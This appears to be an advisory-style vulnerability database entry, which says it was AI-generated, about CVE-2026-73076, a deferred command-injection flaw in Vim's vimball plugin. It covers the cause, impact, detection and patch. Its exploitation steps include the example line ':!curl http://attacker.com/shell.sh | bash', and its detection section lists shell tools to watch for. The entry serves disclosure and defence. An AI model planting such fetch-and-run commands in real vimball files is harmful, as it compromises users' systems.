
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-73076 is an arbitrary command execution vulnerability in Vim's vimball plugin (runtime/autoload/vimball.vim) that allows an attacker to execute arbitrary Ex and OS commands with the privileges of the user running Vim. It affects all Vim versions prior to 9.2.0847 and was published on August 11, 2026, with the fix released in patch v9.2.0847 (committed July 23, 2026). The vulnerability was assigned a CVSS v3.1 base score of 7.3 (High) and a CVSS v4.0 base score of 8.4 (High) (GitHub Advisory, Red Hat Bugzilla).
The root cause lies in insufficient input validation in vimball.vim (CWE-94: Code Injection; CWE-829: Inclusion of Functionality from Untrusted Control Sphere). The vimball plugin records installed files in a plain-text file named .VimballRecord, storing Ex commands used to undo installations. While the plugin rejected archive member names containing characters that could inject commands (e.g., |, ", )), it did not reject a member named .VimballRecord itself. An attacker can craft a vimball archive containing a member named .VimballRecord with arbitrary Ex commands — including OS commands via :! — which overwrites the legitimate record file. These commands are not executed immediately upon installation; instead, they are silently stored and executed later when vimball#RmVimball() processes any matching vimball record entry, enabling a deferred, stealthy execution (GitHub Advisory, Vim Commit).
Successful exploitation allows execution of arbitrary Ex commands and, through :!, arbitrary operating-system commands in the context of the user running Vim. This results in high confidentiality, integrity, and availability impact — an attacker can read sensitive files, modify or delete data, or achieve persistent code execution on the affected system. A particularly notable aspect is the deferred execution model: the malicious commands persist even after the crafted vimball archive is removed, and continue to execute during subsequent unrelated vimball operations, extending the attacker's foothold beyond the initial installation event (GitHub Advisory).
Exploitation requires the victim to install a vimball from an attacker-controlled source, either by manually sourcing it or via the getscript plugin, which downloads and sources vimballs automatically — making social engineering or supply chain compromise viable attack vectors. There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of publication. The EPSS score is approximately 0.0013 (0.13%), reflecting low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. NVD SSVC assessment classifies exploitation as "none" and automatable as "no" (GitHub Advisory, Red Hat Bugzilla).
.vmb vimball file that includes a member named .VimballRecord. Populate this member with attacker-chosen Ex commands, such as :!curl http://attacker.com/shell.sh | bash or other OS-level payloads..vmb file via a plugin repository, a compromised plugin mirror, a phishing link, or by submitting it to a source that the victim's getscript plugin would automatically download and source.:so malicious.vmb). During extraction, the .VimballRecord member overwrites the legitimate installation record file in the vimball home directory with the attacker's commands. No commands execute at this stage, making the installation appear benign.vimball#RmVimball() reads the poisoned .VimballRecord file, finds the matching entry, and executes the stored Ex commands (including OS commands via :!) with the privileges of the user running Vim..VimballRecord file in the vimball installation directory (typically ~/.vim/ or the configured g:vimball_home); contents containing commands other than call delete('...') patterns, especially entries with :!, shell invocations, or network commands.bash, sh, curl, wget, python) during vimball install or remove operations.:RmVimball or vimball sourcing operations.Upgrade Vim to version 9.2.0847 or later, which addresses the vulnerability by refusing to extract any vimball member named .VimballRecord and by restricting vimball#RmVimball() to execute only entries matching the expected call delete('...') form, reporting and skipping anything else. As a workaround, avoid opening or sourcing vimball files from untrusted or unverified sources, and disable the getscript plugin if automatic vimball downloading is not required. Inspect existing .VimballRecord files for suspicious entries (anything other than call delete(...) lines) as a precautionary measure (GitHub Advisory, Vim Commit, Red Hat Bugzilla).
The vulnerability was reported by researcher tdjackey and acknowledged by the Vim project maintainer Christian Brabandt, who published the GitHub Security Advisory (GHSA-r22p-fhw4-84p2) and committed the fix on July 23, 2026. Red Hat triaged the issue as high severity and opened a tracking bug. The Vim project rated the advisory as "Moderate" severity, noting that installing a vimball from an untrusted source already permits command execution, so this issue extends rather than creates that risk. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability tracking feeds (GitHub Advisory, Red Hat Bugzilla).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."